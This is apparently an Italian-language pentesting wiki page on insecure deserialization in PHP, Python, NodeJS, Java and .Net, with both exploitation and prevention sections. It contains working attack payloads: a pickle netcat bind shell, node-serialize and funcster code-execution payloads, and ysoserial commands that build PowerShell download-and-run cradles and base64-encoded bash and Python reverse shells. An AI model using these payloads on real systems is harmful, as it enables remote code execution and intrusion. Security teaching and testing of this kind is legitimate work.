Deserialization

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Informazioni di Base

La serializzazione è intesa come il metodo di conversione di un oggetto in un formato che può essere preservato, con l'intento di memorizzare l'oggetto o trasmetterlo come parte di un processo di comunicazione. Questa tecnica è comunemente impiegata per garantire che l'oggetto possa essere ricreato in un momento successivo, mantenendo la sua struttura e stato.

La deserializzazione, al contrario, è il processo che contrasta la serializzazione. Coinvolge il prendere dati strutturati in un formato specifico e ricostruirli in un oggetto.

La deserializzazione può essere pericolosa perché potenzialmente permette agli attaccanti di manipolare i dati serializzati per eseguire codice dannoso o causare comportamenti inaspettati nell'applicazione durante il processo di ricostruzione dell'oggetto.

PHP

In PHP, specifici metodi magici vengono utilizzati durante i processi di serializzazione e deserializzazione:

  • __sleep: Invocato quando un oggetto viene serializzato. Questo metodo dovrebbe restituire un array con i nomi di tutte le proprietà dell'oggetto che devono essere serializzate. Viene comunemente utilizzato per confermare i dati in sospeso o eseguire compiti di pulizia simili.

  • __wakeup: Chiamato quando un oggetto viene deserializzato. Viene utilizzato per ristabilire eventuali connessioni al database che potrebbero essere state perse durante la serializzazione e per eseguire altre attività di reinizializzazione.

  • __unserialize: Questo metodo viene chiamato al posto di __wakeup (se esiste) quando un oggetto viene deserializzato. Fornisce maggiore controllo sul processo di deserializzazione rispetto a __wakeup.

  • __destruct: Questo metodo viene chiamato quando un oggetto sta per essere distrutto o quando lo script termina. Viene tipicamente utilizzato per compiti di pulizia, come la chiusura di gestori di file o connessioni al database.

  • __toString: Questo metodo consente a un oggetto di essere trattato come una stringa. Può essere utilizzato per leggere un file o altre attività basate sulle chiamate di funzione al suo interno, fornendo efficacemente una rappresentazione testuale dell'oggetto.

<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Se guardi ai risultati, puoi vedere che le funzioni __wakeup e __destruct vengono chiamate quando l'oggetto viene deserializzato. Nota che in diversi tutorial troverai che la funzione __toString viene chiamata quando si cerca di stampare un attributo, ma apparentemente non succede più.

Il metodo __unserialize(array $data) viene chiamato al posto di __wakeup() se è implementato nella classe. Ti consente di deserializzare l'oggetto fornendo i dati serializzati come un array. Puoi utilizzare questo metodo per deserializzare le proprietà ed eseguire eventuali compiti necessari durante la deserializzazione.

class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}

Puoi leggere un esempio PHP spiegato qui: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, qui https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf o qui https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Potresti abusare della funzionalità di caricamento automatico di PHP per caricare file php arbitrari e altro ancora:

pagePHP - Deserialization + Autoload Classes

Serializzazione di Valori Referenziati

Se per qualche motivo desideri serializzare un valore come riferimento a un altro valore serializzato puoi:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

PHPGGC (ysoserial for PHP)

PHPGGC può aiutarti a generare payload per abusare delle deserializzazioni PHP. Nota che in diversi casi potresti non riuscire a trovare un modo per abusare di una deserializzazione nel codice sorgente dell'applicazione ma potresti essere in grado di abusare del codice di estensioni PHP esterne. Quindi, se puoi, controlla il phpinfo() del server e cerca su internet (e anche sui gadget di PHPGGC) alcuni possibili gadget che potresti abusare.

Deserializzazione dei metadati phar://

Se hai trovato un LFI che sta solo leggendo il file e non eseguendo il codice php al suo interno, ad esempio utilizzando funzioni come file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize()**. Puoi provare ad abusare di una deserializzazione che avviene quando si legge un file utilizzando il protocollo phar. Per ulteriori informazioni leggi il seguente post:

pagephar:// deserialization

Python

Pickle

Quando l'oggetto viene unpickle, verrà eseguita la funzione __reduce__. Quando sfruttato, il server potrebbe restituire un errore.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Per ulteriori informazioni sull'uscita dalle carceri pickle, controlla:

pageBypass Python sandboxes

Yaml & jsonpickle

La seguente pagina presenta la tecnica per abusare di una deserializzazione non sicura nelle librerie python yamls e si conclude con uno strumento che può essere utilizzato per generare un payload di deserializzazione RCE per Pickle, PyYAML, jsonpickle e ruamel.yaml:

pagePython Yaml Deserialization

Inquinamento di Classe (Python Prototype Pollution)

pageClass Pollution (Python's Prototype Pollution)

NodeJS

Funzioni Magiche JS

JS non ha funzioni "magiche" come PHP o Python che verranno eseguite solo per la creazione di un oggetto. Ma ha alcune funzioni che vengono utilizzate frequentemente anche senza chiamarle direttamente come toString, valueOf, toJSON. Se si abusa di una deserializzazione è possibile compromettere queste funzioni per eseguire altro codice (potenzialmente abusando delle polluzioni del prototipo) è possibile eseguire codice arbitrario quando vengono chiamate.

Un altro modo "magico" per chiamare una funzione senza chiamarla direttamente è compromettere un oggetto restituito da una funzione asincrona (promessa). Perché, se si trasforma quell'oggetto restituito in un'altra promessa con una proprietà chiamata "then" di tipo funzione, verrà eseguita solo perché è restituita da un'altra promessa. Segui questo link per ulteriori informazioni.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

Inquinamento di __proto__ e prototype

Se vuoi saperne di più su questa tecnica dai un'occhiata al seguente tutorial:

pageNodeJS - __proto__ & prototype Pollution

Questa libreria permette di serializzare funzioni. Esempio:

var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

L'oggetto serializzato apparirà come:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

Nell'esempio puoi vedere che quando una funzione viene serializzata, il flag _$$ND_FUNC$$_ viene aggiunto all'oggetto serializzato.

All'interno del file node-serialize/lib/serialize.js puoi trovare lo stesso flag e come il codice lo utilizza.

Come puoi vedere nell'ultimo pezzo di codice, se il flag viene trovato viene utilizzato eval per deserializzare la funzione, quindi in pratica l'input dell'utente viene utilizzato all'interno della funzione eval.

Tuttavia, semplicemente serializzare una funzione non la eseguirà poiché sarebbe necessario che una parte del codice stia chiamando y.rce nel nostro esempio e questo è altamente improbabile. In ogni caso, potresti semplicemente modificare l'oggetto serializzato aggiungendo delle parentesi per eseguire automaticamente la funzione serializzata quando l'oggetto viene deserializzato. Nel prossimo pezzo di codice nota l'ultima parentesi e come la funzione unserialize eseguirà automaticamente il codice:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

Come precedentemente indicato, questa libreria otterrà il codice dopo _$$ND_FUNC$$_ e lo eseguirà utilizzando eval. Pertanto, per eseguire automaticamente il codice è possibile eliminare la parte di creazione della funzione e l'ultima parentesi e eseguire semplicemente un oneliner JS come nell'esempio seguente:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

Puoi trovare qui ulteriori informazioni su come sfruttare questa vulnerabilità.

Un aspetto degno di nota di funcster è l'inaccessibilità degli oggetti incorporati standard; essi cadono al di fuori dell'ambito accessibile. Questa restrizione impedisce l'esecuzione di codice che tenta di invocare metodi sugli oggetti incorporati, portando a eccezioni come "ReferenceError: console non è definito" quando vengono utilizzati comandi come console.log() o require(something).

Nonostante questa limitazione, il ripristino dell'accesso completo al contesto globale, compresi tutti gli oggetti incorporati standard, è possibile attraverso un approccio specifico. Sfruttando direttamente il contesto globale, è possibile aggirare questa restrizione. Ad esempio, l'accesso può essere ripristinato utilizzando il seguente snippet:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

Per ulteriori informazioni leggi questa fonte.

Il pacchetto serialize-javascript è progettato esclusivamente per scopi di serializzazione, senza alcuna capacità di deserializzazione integrata. Gli utenti sono responsabili dell'implementazione del proprio metodo per la deserializzazione. Viene suggerito un uso diretto di eval dall'esempio ufficiale per deserializzare i dati serializzati:

function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}

Se questa funzione viene utilizzata per deserializzare oggetti, è possibile sfruttarla facilmente:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Per ulteriori informazioni leggi questa fonte.

Libreria Cryo

Nelle pagine seguenti puoi trovare informazioni su come abusare di questa libreria per eseguire comandi arbitrari:

Java - HTTP

In Java, i callback di deserializzazione vengono eseguiti durante il processo di deserializzazione. Questa esecuzione può essere sfruttata dagli attaccanti che creano payload dannosi che attivano questi callback, portando alla potenziale esecuzione di azioni dannose.

Tracce

White Box

Per identificare potenziali vulnerabilità di serializzazione nel codice, cerca:

  • Classi che implementano l'interfaccia Serializable.

  • Utilizzo delle funzioni java.io.ObjectInputStream, readObject, readUnshare.

Presta particolare attenzione a:

  • XMLDecoder utilizzato con parametri definiti da utenti esterni.

  • Il metodo fromXML di XStream, specialmente se la versione di XStream è inferiore o uguale a 1.46, poiché è suscettibile a problemi di serializzazione.

  • ObjectInputStream accoppiato con il metodo readObject.

  • Implementazione di metodi come readObject, readObjectNodData, readResolve o readExternal.

  • ObjectInputStream.readUnshared.

  • Uso generale di Serializable.

Black Box

Per il testing black box, cerca specifiche firme o "Magic Bytes" che denotano oggetti serializzati java (provenienti da ObjectInputStream):

  • Modello esadecimale: AC ED 00 05.

  • Modello Base64: rO0.

  • Intestazioni di risposta HTTP con Content-type impostato su application/x-java-serialized-object.

  • Modello esadecimale che indica una compressione precedente: 1F 8B 08 00.

  • Modello Base64 che indica una compressione precedente: H4sIA.

  • File web con estensione .faces e il parametro faces.ViewState. Scoprire questi modelli in un'applicazione web dovrebbe indurre a un esame dettagliato come descritto nel post su Java JSF ViewState Deserialization.

javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Verifica se è vulnerabile

Se vuoi sapere come funziona un exploit di deserializzazione Java, dovresti dare un'occhiata a Deserializzazione Java di base, Deserializzazione Java DNS e Payload CommonsCollection1.

Test della scatola bianca

Puoi verificare se è installata qualche applicazione con vulnerabilità conosciute.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Potresti provare a verificare tutte le librerie note per essere vulnerabili e per le quali Ysoserial può fornire un exploit. Oppure potresti controllare le librerie indicate su Java-Deserialization-Cheat-Sheet. Puoi anche utilizzare gadgetinspector per cercare possibili catene di gadget che possono essere sfruttate. Quando esegui gadgetinspector (dopo averlo compilato) non preoccuparti dei numerosi avvertimenti/errori che sta attraversando e lascialo terminare. Scriverà tutte le scoperte in gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Si noti che gadgetinspector non creerà un exploit e potrebbe indicare falsi positivi.

Test Black Box

Utilizzando l'estensione Burp gadgetprobe puoi identificare quali librerie sono disponibili (e anche le versioni). Con queste informazioni potrebbe essere più facile scegliere un payload per sfruttare la vulnerabilità. Leggi questo per saperne di più su GadgetProbe. GadgetProbe è focalizzato sulle deserializzazioni di ObjectInputStream.

Utilizzando l'estensione Burp Java Deserialization Scanner puoi identificare librerie vulnerabili sfruttabili con ysoserial e sfruttarle. Leggi questo per saperne di più su Java Deserialization Scanner. Java Deserialization Scanner è focalizzato sulle deserializzazioni di ObjectInputStream.

Puoi anche utilizzare Freddy per rilevare vulnerabilità di deserializzazione in Burp. Questo plugin rileverà vulnerabilità non solo correlate a ObjectInputStream ma anche vulnerabilità da librerie di deserializzazione Json e Yml. In modalità attiva, cercherà di confermarle utilizzando payload di sleep o DNS. Puoi trovare ulteriori informazioni su Freddy qui.

Test di Serializzazione

Non si tratta solo di verificare se il server utilizza una libreria vulnerabile. A volte potresti essere in grado di modificare i dati all'interno dell'oggetto serializzato e bypassare alcuni controlli (forse ottenere privilegi di amministratore all'interno di un'applicazione web). Se trovi un oggetto serializzato Java inviato a un'applicazione web, puoi utilizzare SerializationDumper per stampare in un formato più leggibile dall'essere umano l'oggetto serializzato che viene inviato. Sapere quali dati stai inviando renderebbe più facile modificarli e bypassare alcuni controlli.

Sfruttare

ysoserial

Lo strumento principale per sfruttare le deserializzazioni Java è ysoserial (scarica qui). Puoi anche considerare l'uso di ysoseral-modified che ti consentirà di utilizzare comandi complessi (con pipe, ad esempio). Si noti che questo strumento è centrato sull'esplorazione di ObjectInputStream. Inizierei usando il payload "URLDNS" prima di un payload RCE per testare se l'iniezione è possibile. Comunque, si noti che forse il payload "URLDNS" non funziona ma funziona un altro payload RCE.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Quando si crea un payload per java.lang.Runtime.exec() non è possibile utilizzare caratteri speciali come ">" o "|" per reindirizzare l'output di un'esecuzione, "$()" per eseguire comandi o anche passare argomenti a un comando separati da spazi (puoi fare echo -n "hello world" ma non puoi fare python2 -c 'print "Hello world"'). Per codificare correttamente il payload potresti utilizzare questa pagina web.

Sentiti libero di utilizzare lo script seguente per creare tutti i possibili payload di esecuzione del codice per Windows e Linux e poi testarli sulla pagina web vulnerabile:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Puoi utilizzare https://github.com/pwntester/SerialKillerBypassGadgetCollection insieme a ysoserial per creare più exploit. Maggiori informazioni su questo strumento sono disponibili nelle diapositive della presentazione in cui lo strumento è stato presentato: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione Json e Yml in Java. Per compilare il progetto ho dovuto aggiungere queste dipendenze al pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Installa maven, e compila il progetto:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Per saperne di più su questa libreria JSON Java: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratori

Perché

Java utilizza molto la serializzazione per vari scopi come:

  • Richieste HTTP: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.

  • RMI (Remote Method Invocation): Il protocollo Java RMI, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.

  • RMI su HTTP: Questo metodo è comunemente utilizzato dalle applicazioni web client Java-based spesse, utilizzando la serializzazione per tutte le comunicazioni degli oggetti.

  • JMX (Java Management Extensions): JMX utilizza la serializzazione per la trasmissione di oggetti sulla rete.

  • Protocolli personalizzati: In Java, la pratica standard coinvolge la trasmissione di oggetti Java grezzi, che verrà dimostrata negli esempi di exploit futuri.

Prevenzione

Oggetti transienti

Una classe che implementa Serializable può implementare come transient qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzato. Ad esempio:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Evitare la serializzazione di una classe che deve implementare Serializable

Nei casi in cui certi oggetti devono implementare l'interfaccia Serializable a causa della gerarchia delle classi, c'è il rischio di deserializzazione non intenzionale. Per prevenire ciò, assicurarsi che questi oggetti non siano deserializzabili definendo un metodo readObject() final che genera costantemente un'eccezione, come mostrato di seguito:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Migliorare la sicurezza della deserializzazione in Java

Personalizzare java.io.ObjectInputStream è un approccio pratico per proteggere i processi di deserializzazione. Questo metodo è adatto quando:

  • Il codice di deserializzazione è sotto il tuo controllo.

  • Le classi previste per la deserializzazione sono conosciute.

Sovrascrivere il metodo resolveClass() per limitare la deserializzazione solo alle classi consentite. Ciò impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Utilizzo di un Java Agent per il Potenziamento della Sicurezza offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per mettere in blacklist classi dannose, utilizzando un parametro JVM:

-javaagent:name-of-agent.jar

Offre un modo per proteggere la deserializzazione in modo dinamico, ideale per ambienti in cui i cambiamenti immediati del codice sono impraticabili.

Controlla un esempio in rO0 di Contrast Security

Implementazione dei Filtri di Serializzazione: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia ObjectInputFilter, fornendo un meccanismo potente per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per flusso, offrendo un controllo granulare sul processo di deserializzazione.

Per utilizzare i filtri di serializzazione, è possibile impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo dinamicamente per flussi specifici. Ad esempio:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Sfruttare le librerie esterne per una sicurezza avanzata: Le librerie come NotSoSerial, jdeserialize e Kryo offrono funzionalità avanzate per controllare e monitorare la deserializzazione Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la creazione di liste bianche o nere di classi, l'analisi degli oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.

  • NotSoSerial intercetta i processi di deserializzazione per impedire l'esecuzione di codice non attendibile.

  • jdeserialize consente l'analisi degli oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.

  • Kryo è un framework di serializzazione alternativo che enfatizza la velocità e l'efficienza, offrendo strategie di serializzazione configurabili che possono migliorare la sicurezza.

Riferimenti

Iniezione JNDI & log4Shell

Scopri cos'è l'Iniezione JNDI, come sfruttarla tramite RMI, CORBA & LDAP e come sfruttare log4shell (e un esempio di questa vulnerabilità) nella seguente pagina:

pageJNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

L'API Java Message Service (JMS) è un'API middleware orientata ai messaggi Java per l'invio di messaggi tra due o più client. È un'implementazione per gestire il problema produttore-consumatore. JMS fa parte della piattaforma Java Platform, Enterprise Edition (Java EE) ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che è stata successivamente guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da Wikipedia).

Prodotti

Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:

Sfruttamento

In sostanza, ci sono molti servizi che utilizzano JMS in modo pericoloso. Pertanto, se si hanno privilegi sufficienti per inviare messaggi a questi servizi (di solito sarà necessario avere credenziali valide) potresti essere in grado di inviare oggetti maliziosi serializzati che verranno deserializzati dal consumatore/abbonato. Ciò significa che in questa forma di sfruttamento tutti i client che utilizzeranno quel messaggio verranno infettati.

Ricorda che anche se un servizio è vulnerabile (perché deserializza in modo non sicuro l'input dell'utente) è comunque necessario trovare gadget validi per sfruttare la vulnerabilità.

Lo strumento JMET è stato creato per connettersi e attaccare questi servizi inviando diversi oggetti maliziosi serializzati utilizzando gadget conosciuti. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno qualsiasi dei gadget utilizzati è presente nell'applicazione vulnerabile.

Riferimenti

.Net

Nel contesto di .Net, gli exploit di deserializzazione operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.

Impronta

WhiteBox

Il codice sorgente dovrebbe essere ispezionato per individuare:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

L'attenzione dovrebbe essere rivolta ai serializzatori che permettono di determinare il tipo tramite una variabile controllata dall'utente.

BlackBox

La ricerca dovrebbe mirare alla stringa codificata in Base64 AAEAAAD///// o a qualsiasi pattern simile che potrebbe subire una deserializzazione lato server, concedendo il controllo sul tipo da deserializzare. Ciò potrebbe includere, ma non è limitato a, strutture JSON o XML che presentano TypeObject o $type.

ysoserial.net

In questo caso puoi utilizzare lo strumento ysoserial.net per creare gli exploit di deserializzazione. Una volta scaricata la repository git, dovresti compilare lo strumento utilizzando ad esempio Visual Studio.

Se desideri apprendere come ysoserial.net crea il suo exploit puoi consultare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + formattatore Json.Net.

Le principali opzioni di ysoserial.net sono: --gadget, --formatter, --output e --plugin.

  • --gadget utilizzato per indicare il gadget da sfruttare (indica la classe/funzione che verrà sfruttata durante la deserializzazione per eseguire comandi).

  • --formatter, utilizzato per indicare il metodo per serializzare l'exploit (è necessario sapere quale libreria viene utilizzata sul back-end per deserializzare il payload e utilizzarla per serializzarlo)

  • --output utilizzato per indicare se si desidera l'exploit in formato raw o codificato in base64. Nota che ysoserial.net codificherà il payload utilizzando UTF-16LE (codifica utilizzata per impostazione predefinita su Windows) quindi se si ottiene il raw e lo si codifica da una console Linux potrebbero verificarsi alcuni problemi di compatibilità di codifica che impediranno all'exploit di funzionare correttamente (nella casella JSON HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma ciò non significa che funzionerà sempre).

  • --plugin ysoserial.net supporta plugin per creare exploit per framework specifici come ViewState

Altri parametri di ysoserial.net

  • --minify fornirà un payload più piccolo (se possibile)

  • --raf -f Json.Net -c "qualsiasi cosa" Questo indicherà tutti i gadget che possono essere utilizzati con un formattatore fornito (Json.Net in questo caso)

  • --sf xml puoi indicare un gadget (-g) e ysoserial.net cercherà formattatori contenenti "xml" (senza distinzione tra maiuscole e minuscole)

